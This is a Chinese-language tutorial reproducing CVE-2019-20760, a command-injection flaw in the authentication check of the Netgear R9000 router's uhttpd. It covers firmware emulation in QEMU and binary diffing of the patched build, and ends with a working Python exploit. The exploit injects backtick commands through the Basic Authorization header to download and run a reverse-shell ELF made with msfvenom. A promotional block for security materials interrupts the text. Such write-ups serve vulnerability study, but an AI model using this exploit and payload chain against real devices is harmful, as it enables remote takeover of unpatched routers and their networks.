Netgear無線路由器漏洞復現(CVE-2019-20760)

漏洞概述

漏洞服務: uhttpd

漏洞類型: 遠程命令執行

影響範圍: 1.0.4.26之前的NETGEAR R9000設備會受到身份驗證繞過的影響

解決建議: 更新版本

漏洞復現

操作環境: ubuntu:22.04

qemu-version: 8.1.1

仿真環境

wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip

下載固件。

 binwalk -Mer R9000-V1.0.4.26.img 

image-20231006204853421

可通過 binwalk 常規解壓獲得文件系統。

image-20231006213813263

檢查 ELF32 文件架構爲 arm-32-little

wget https://file.erlkonig.tech/debian-armhf/wheezy/debian_wheezy_armhf_standard.qcow2
wget https://file.erlkonig.tech/debian-armhf/wheezy/initrd.img-3.2.0-4-vexpress
wget https://file.erlkonig.tech/debian-armhf/wheezy/vmlinuz-3.2.0-4-vexpress

下載合適的虛擬機映像。

#!/bin/sh
# 參考《CTF實戰》by ChaMd5
# 'ens33': The NIC is that can connect internet
#sudo ifconfig eth0 down                 # 首先關閉宿主機網卡接口
sudo brctl addbr br0                     # 添加一座名爲 br0 的網橋
sudo brctl addif br0 ens33               # 在 br0 中添加一個接口
sudo brctl stp br0 off                   # 如果只有一個網橋,則關閉生成樹協議
sudo brctl setfd br0 1                   # 設置 br0 的轉發延遲
sudo brctl sethello br0 1                # 設置 br0 的 hello 時間
sudo ifconfig br0 0.0.0.0 promisc up     # 啓用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up   # 啓用網卡接口
sudo dhclient br0                        # 從 dhcp 服務器獲得 br0 的 IP 地址
sudo brctl show br0                      # 查看虛擬網橋列表
sudo brctl showstp br0                   # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root              # 創建一個 tap0 接口,只允許 root 用戶訪問
sudo brctl addif br0 tap0                # 在虛擬網橋中增加一個 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up    # 啓用 tap0 接口
sudo brctl showstp br0

image-20231006215529022

配置網絡。

#!/bin/sh
qemu-system-arm \
    -M vexpress-a9 \
    -kernel vmlinuz-3.2.0-4-vexpress \
    -initrd initrd.img-3.2.0-4-vexpress \
    -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
    -append "root=/dev/mmcblk0p2 console=ttyAMA0" \
    -net nic -net tap,ifname=tap0,script=no,downscript=no \
    -nographic
-M                          # 選擇開發板
-m                          # 指定內存大小
-drive                      # 定義存儲驅動器
file=                       # 定義鏡像文件
-net nic                    # 創建客戶機網卡
-net tap                    # 創建 tap 設備,以橋接方式跟宿主機通信
ifname=virtual0             # tap 設備與名爲 virtual0 的虛擬網卡進行橋接通信
-nographic                  # 以非圖形化模式啓動
-append                     # 內核啓動附加參數
-console=ttyAMA0            # console指向串口,有此啓動參數,內核啓動日誌才能輸出到宿主機終端
-nographic                  # 不再啓用額外的終端界面

image-20231006220307746

image-20231006220609818

啓動 qemu-system-armhf 環境,默認用戶名密碼都爲 root

ifconfig eth0 192.168.152.168/24

image-20231006220912835

 qemu-system-armhf 配置靜態 IP

tar -cvf squashfs-root.tar.gz squashfs-root/
python3 -m http.server

image-20231006221335309

image-20231006221428854

將文件根系統打包,然後利用 python3  http.server 模塊下載到 qemu-system-armhf 的根目錄中並用 tar xvf squashfs-root.tar.gz 解壓。

cd /squashfs-root
mount --bind /proc proc # proc目錄是一個虛擬文件系統,可以爲linux用戶空間和內核空間提供交互
mount --bind /dev dev   # /dev/下的設備是通過創建設備節點生成的,用戶通過此設備節點來訪問內核裏的驅動
chroot . sh

image-20231006222713410

因爲 chroot 會導致無法在隔離的文件系統中訪問原本的 /proc /dev 目錄,這裏利用 mount 命令將 qemu-system-armhf  proc  dev 目錄掛在到 squashfs-root 中,並更換根目錄爲 squashfs-root

【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:dctintin,備註 “開源中國” 獲取!】

① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC 漏洞分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)

Web模擬

find -name uhttpd
cat ./etc/init.d/uhttpd
# ./etc/init.d/uhttpd
...
start() {
    #config_load uhttpd
    #config_foreach start_instance uhttpd

    #mkdir /tmp/www
    #cp -rf /usr/www/* /tmp/www

    /www/cgi-bin/uhttpd.sh start
    inetd
    detplc
    #for bug58012
    touch /tmp/fwcheck_status
}
...

查找 uhttpd 的相關文件。

#!/bin/sh

REALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/sbin/uhttpd"
PX5G_BIN="/usr/sbin/px5g"


uhttpd_stop()
{
    kill -9 $(pidof uhttpd)
}

uhttpd_start()
{
        $UHTTPD_BIN -h /www -r ${REALM}  -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}

case "$1" in
    stop)
        uhttpd_stop
    ;;
    start)
        uhttpd_start
    ;;
    restart)
        uhttpd_stop
        uhttpd_start
    ;;
    *)
        logger -- "usage: $0 start|stop|restart"
    ;;
esac

image-20231006223655990

查看 start() 函數中利用的 /www/cgi-bin/uhttpd.sh 腳本。發現啓動命令爲 $UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443 其中 REALM = R9000 UHTTPD_BIN = /usr/sbin/uhttpd。我們無需開啓 https,所以啓動命令爲 /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80

逆向分析

wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip

獲取修復版本的固件。因爲源碼較爲繁雜,我們通過 Bindiff 進行二進制比對,來查找漏洞點。

image-20231006231411605

shift+D 選取修復版本的 /usr/sbin/uhttpd 文件即可,主要查看登錄驗證的 uh_cgi_auth_check() 函數。

  memset(s, 0, 0x1000u);
  v14 = strlen(v13);
  uh_b64decode(s, 0xFFF, v13 + 6, v14 - 6);
  v15 = strchr(s, ':');
  if ( !v15 )
  {
LABEL_32:
    v16 = 0;
    v17 = 0;
    goto LABEL_15;
  }
  v16 = v15 + 1;
  *v15 = 0;
  if ( v15 != (char *)0xFFFFFFFF )
  {
    snprintf(command, 0x80u, "/usr/sbin/hash-data -e %s >/tmp/hash_result", v15 + 1);
    system(command);
    v3 = cat_file(73805);
  }
  v17 = s

漏洞版本 base64 解密後 snprintf() 後直接傳給 system() 執行,這裏會把 v15(:)後面的內容放到 %s 處,記得加\n來執行多條指令。

  memset(s, 0, 0x1000u);
  v15 = strlen(v14);
  uh_b64decode(s, 4095, v14 + 6, v15 - 6);
  v16 = strchr(s, 58);
  if ( !v16 )
  {
LABEL_15:
    v17 = 0;
    v18 = 0;
    goto LABEL_16;
  }
  v17 = v16 + 1;
  *v16 = 0;
  if ( v16 != (char *)-1 )
  {
    v18 = s;
    dni_system("/tmp/hash_result", 0, 0, "/usr/sbin/hash-data", "-e", v17, 0);
    v19 = cat_file("/tmp/hash_result");
    goto LABEL_17;
  }

而修復版本則利用 dni_system() 執行,只可控參數。

獲取權限

poc:

#!/usr/bin/python3

from pwn import *
import requests
import base64

cmd  = 'admin:'
cmd += '`'
cmd += 'wget http://192.168.152.167:8000/shell.elf\n'
cmd += 'chmod 777 ./shell.elf\n'
cmd += './shell.elf\n'
cmd += '`'

assert(len(cmd) < 255)

cmd_b64 = base64.b64encode(cmd.encode()).decode()

headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1",
    "Authorization": "Basic " + cmd_b64
}

def attack():
    try:
        requests.get("http://192.168.152.168/cgi-bin/", headers=headers, timeout=3)
    except Exception as e:
        print(e)

attack()
msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.152.167 LPORT=10086 -f elf > shell.elf

利用 msf 生成對應架構的木馬程序,然後在shell.elf所在的目錄開啓http服務,利用漏洞將木馬程序下載下來。

image-20231006233741185

啓動監聽,並執行 exp.py

image-20231006234357194

成功獲取 shell,我們利用獲取的權限在 www 目錄創建 flag.txt 文件然後訪問它。

image-20231006234709504

成功創建。

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章